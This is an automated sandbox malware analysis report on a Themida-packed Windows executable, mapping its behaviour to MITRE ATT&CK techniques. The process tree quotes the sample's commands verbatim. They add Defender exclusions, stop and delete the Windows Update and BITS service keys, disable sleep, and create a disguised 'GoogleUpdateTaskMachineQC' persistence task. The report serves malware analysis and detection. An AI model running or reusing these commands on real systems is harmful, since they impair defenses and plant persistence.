85569470b1bacc8146eb41de3e46cefd826a13cac3f97e5a5ca65ec14be5ec5c

Analysis

max time kernel
29s
platform
windows7_x64
resource
win7-20220901-en
resource tags

arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
submitted
20/10/2022, 00:36

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General

Target

mmm.exe
Size

6.9MB
MD5

c2b5692d7461c63215d8d13031094e1a
SHA1

383c835bbc904152fedb7910d2028d518278d578
SHA256

85569470b1bacc8146eb41de3e46cefd826a13cac3f97e5a5ca65ec14be5ec5c
SHA512

b89eeff2ecec12d3243266fce3ee2dd1c766e4bbbad6067d453b65d276b6d7ef2f18116703b4546399f7430ffe49c83e526d216c4b842c3c69bd4bf0f052c14f
SSDEEP

196608:MrAev3AuJzPokWeb+loYC4uzHD/N6arTdeS/4mzlWc6L:SlBPoeeSbN6and3/4cH6L

Score

10^/10

evasion themida trojan

Malware Config

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security	reg.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	mmm.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\drivers\etc\hosts	mmm.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	mmm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	mmm.exe

Themida packer 9 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral1/memory/1900-54-0x000000013F4F0000-0x0000000140189000-memory.dmp	themida
behavioral1/memory/1900-55-0x000000013F4F0000-0x0000000140189000-memory.dmp	themida
behavioral1/memory/1900-57-0x000000013F4F0000-0x0000000140189000-memory.dmp	themida
behavioral1/memory/1900-58-0x000000013F4F0000-0x0000000140189000-memory.dmp	themida
behavioral1/memory/1900-59-0x000000013F4F0000-0x0000000140189000-memory.dmp	themida
behavioral1/memory/1900-60-0x000000013F4F0000-0x0000000140189000-memory.dmp	themida
behavioral1/memory/1900-61-0x000000013F4F0000-0x0000000140189000-memory.dmp	themida
behavioral1/memory/1900-62-0x000000013F4F0000-0x0000000140189000-memory.dmp	themida
behavioral1/memory/1900-102-0x000000013F4F0000-0x0000000140189000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	mmm.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
1900	mmm.exe

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	mmm.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1708	sc.exe
1816	sc.exe
1456	sc.exe
1444	sc.exe
856	sc.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
2004	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1784	powershell.exe
1532	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	1784	powershell.exe
Token: SeShutdownPrivilege	1548	powercfg.exe
Token: SeShutdownPrivilege	2036	powercfg.exe
Token: SeDebugPrivilege	1532	powershell.exe
Token: SeShutdownPrivilege	1980	powercfg.exe
Token: SeShutdownPrivilege	1964	powercfg.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 1900 wrote to memory of 1784	1900	mmm.exe	27
PID 1900 wrote to memory of 1784	1900	mmm.exe	27
PID 1900 wrote to memory of 1784	1900	mmm.exe	27
PID 1900 wrote to memory of 796	1900	mmm.exe	29
PID 1900 wrote to memory of 796	1900	mmm.exe	29
PID 1900 wrote to memory of 796	1900	mmm.exe	29
PID 1900 wrote to memory of 1696	1900	mmm.exe	30
PID 1900 wrote to memory of 1696	1900	mmm.exe	30
PID 1900 wrote to memory of 1696	1900	mmm.exe	30
PID 1900 wrote to memory of 1532	1900	mmm.exe	32
PID 1900 wrote to memory of 1532	1900	mmm.exe	32
PID 1900 wrote to memory of 1532	1900	mmm.exe	32
PID 796 wrote to memory of 1816	796	cmd.exe	35
PID 796 wrote to memory of 1816	796	cmd.exe	35
PID 796 wrote to memory of 1816	796	cmd.exe	35
PID 1696 wrote to memory of 1548	1696	cmd.exe	36
PID 1696 wrote to memory of 1548	1696	cmd.exe	36
PID 1696 wrote to memory of 1548	1696	cmd.exe	36
PID 796 wrote to memory of 1456	796	cmd.exe	37
PID 796 wrote to memory of 1456	796	cmd.exe	37
PID 796 wrote to memory of 1456	796	cmd.exe	37
PID 796 wrote to memory of 1444	796	cmd.exe	38
PID 796 wrote to memory of 1444	796	cmd.exe	38
PID 796 wrote to memory of 1444	796	cmd.exe	38
PID 1696 wrote to memory of 2036	1696	cmd.exe	39
PID 1696 wrote to memory of 2036	1696	cmd.exe	39
PID 1696 wrote to memory of 2036	1696	cmd.exe	39
PID 796 wrote to memory of 856	796	cmd.exe	40
PID 796 wrote to memory of 856	796	cmd.exe	40
PID 796 wrote to memory of 856	796	cmd.exe	40
PID 1696 wrote to memory of 1980	1696	cmd.exe	41
PID 1696 wrote to memory of 1980	1696	cmd.exe	41
PID 1696 wrote to memory of 1980	1696	cmd.exe	41
PID 796 wrote to memory of 1708	796	cmd.exe	42
PID 796 wrote to memory of 1708	796	cmd.exe	42
PID 796 wrote to memory of 1708	796	cmd.exe	42
PID 1696 wrote to memory of 1964	1696	cmd.exe	43
PID 1696 wrote to memory of 1964	1696	cmd.exe	43
PID 1696 wrote to memory of 1964	1696	cmd.exe	43
PID 796 wrote to memory of 1988	796	cmd.exe	44
PID 796 wrote to memory of 1988	796	cmd.exe	44
PID 796 wrote to memory of 1988	796	cmd.exe	44
PID 1532 wrote to memory of 2004	1532	powershell.exe	46
PID 1532 wrote to memory of 2004	1532	powershell.exe	46
PID 1532 wrote to memory of 2004	1532	powershell.exe	46
PID 796 wrote to memory of 1184	796	cmd.exe	45
PID 796 wrote to memory of 1184	796	cmd.exe	45
PID 796 wrote to memory of 1184	796	cmd.exe	45
PID 796 wrote to memory of 1528	796	cmd.exe	47
PID 796 wrote to memory of 1528	796	cmd.exe	47
PID 796 wrote to memory of 1528	796	cmd.exe	47
PID 796 wrote to memory of 832	796	cmd.exe	48
PID 796 wrote to memory of 832	796	cmd.exe	48
PID 796 wrote to memory of 832	796	cmd.exe	48
PID 796 wrote to memory of 1524	796	cmd.exe	49
PID 796 wrote to memory of 1524	796	cmd.exe	49
PID 796 wrote to memory of 1524	796	cmd.exe	49
PID 1900 wrote to memory of 1656	1900	mmm.exe	50
PID 1900 wrote to memory of 1656	1900	mmm.exe	50
PID 1900 wrote to memory of 1656	1900	mmm.exe	50

C:\Users\Admin\AppData\Local\Temp\mmm.exe
"C:\Users\Admin\AppData\Local\Temp\mmm.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Drops file in Drivers directory
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1900
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1784
- C:\Windows\system32\cmd.exe
  cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:796
- - C:\Windows\system32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:1816
- - C:\Windows\system32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1456
- - C:\Windows\system32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1444
- - C:\Windows\system32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:856
- - C:\Windows\system32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:1708
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:1988
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:1184
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:1528
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:832
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:1524
- C:\Windows\system32\cmd.exe
  cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1696
- - C:\Windows\system32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1548
- - C:\Windows\system32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2036
- - C:\Windows\system32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1980
- - C:\Windows\system32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell <#cthbhmckn#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1532
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell <#iljoca#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  PID:1656
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:1592

C:\Windows\system32\taskeng.exe
taskeng.exe {D67763A8-D20C-4CA6-A9ED-80B9C1BD9889} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1704

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
afef8d0a33d2b54795d2d0571dea98a3

SHA1
80ba0e3ab59b2b04c5ed38e0c1f865f2b597d526

SHA256
07a34915211cf6b7a56a934087576b96a2972fa2567a340ffaaa6812328ad392

SHA512
c3cfa9b42a2cb80f10b94dedd7a843214829d0a1d0dd937765bc89faabf12391ef0412c6605c5c4c97223e6cddabead991b0d8167af7fddfbf8ee06c1ce83e21

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
afef8d0a33d2b54795d2d0571dea98a3

SHA1
80ba0e3ab59b2b04c5ed38e0c1f865f2b597d526

SHA256
07a34915211cf6b7a56a934087576b96a2972fa2567a340ffaaa6812328ad392

SHA512
c3cfa9b42a2cb80f10b94dedd7a843214829d0a1d0dd937765bc89faabf12391ef0412c6605c5c4c97223e6cddabead991b0d8167af7fddfbf8ee06c1ce83e21

Download Submit
memory/1532-82-0x000007FEEF1C0000-0x000007FEEFD1D000-memory.dmp

Filesize
11.4MB

Download
memory/1532-95-0x0000000002444000-0x0000000002447000-memory.dmp

Filesize
12KB

Download
memory/1532-86-0x0000000002444000-0x0000000002447000-memory.dmp

Filesize
12KB

Download
memory/1532-89-0x000000001B750000-0x000000001BA4F000-memory.dmp

Filesize
3.0MB

Download
memory/1532-80-0x000007FEF2AE0000-0x000007FEF3503000-memory.dmp

Filesize
10.1MB

Download
memory/1532-97-0x000000000244B000-0x000000000246A000-memory.dmp

Filesize
124KB

Download
memory/1656-104-0x000007FEF39C0000-0x000007FEF43E3000-memory.dmp

Filesize
10.1MB

Download
memory/1656-105-0x000007FEF2E60000-0x000007FEF39BD000-memory.dmp

Filesize
11.4MB

Download
memory/1656-106-0x0000000002394000-0x0000000002397000-memory.dmp

Filesize
12KB

Download
memory/1784-67-0x000007FEF2E60000-0x000007FEF39BD000-memory.dmp

Filesize
11.4MB

Download
memory/1784-69-0x00000000024A4000-0x00000000024A7000-memory.dmp

Filesize
12KB

Download
memory/1784-68-0x000000001B830000-0x000000001BB2F000-memory.dmp

Filesize
3.0MB

Download
memory/1784-71-0x00000000024AB000-0x00000000024CA000-memory.dmp

Filesize
124KB

Download
memory/1784-66-0x000007FEF39C0000-0x000007FEF43E3000-memory.dmp

Filesize
10.1MB

Download
memory/1784-70-0x00000000024A4000-0x00000000024A7000-memory.dmp

Filesize
12KB

Download
memory/1784-64-0x000007FEFBEE1000-0x000007FEFBEE3000-memory.dmp

Filesize
8KB

Download
memory/1900-59-0x000000013F4F0000-0x0000000140189000-memory.dmp

Filesize
12.6MB

Download
memory/1900-61-0x000000013F4F0000-0x0000000140189000-memory.dmp

Filesize
12.6MB

Download
memory/1900-60-0x000000013F4F0000-0x0000000140189000-memory.dmp

Filesize
12.6MB

Download
memory/1900-54-0x000000013F4F0000-0x0000000140189000-memory.dmp

Filesize
12.6MB

Download
memory/1900-58-0x000000013F4F0000-0x0000000140189000-memory.dmp

Filesize
12.6MB

Download
memory/1900-62-0x000000013F4F0000-0x0000000140189000-memory.dmp

Filesize
12.6MB

Download
memory/1900-57-0x000000013F4F0000-0x0000000140189000-memory.dmp

Filesize
12.6MB

Download
memory/1900-65-0x0000000077660000-0x0000000077809000-memory.dmp

Filesize
1.7MB

Download
memory/1900-55-0x000000013F4F0000-0x0000000140189000-memory.dmp

Filesize
12.6MB

Download
memory/1900-56-0x0000000077660000-0x0000000077809000-memory.dmp

Filesize
1.7MB

Download
memory/1900-102-0x000000013F4F0000-0x0000000140189000-memory.dmp

Filesize
12.6MB

Download
memory/1900-103-0x0000000077660000-0x0000000077809000-memory.dmp

Filesize
1.7MB

Download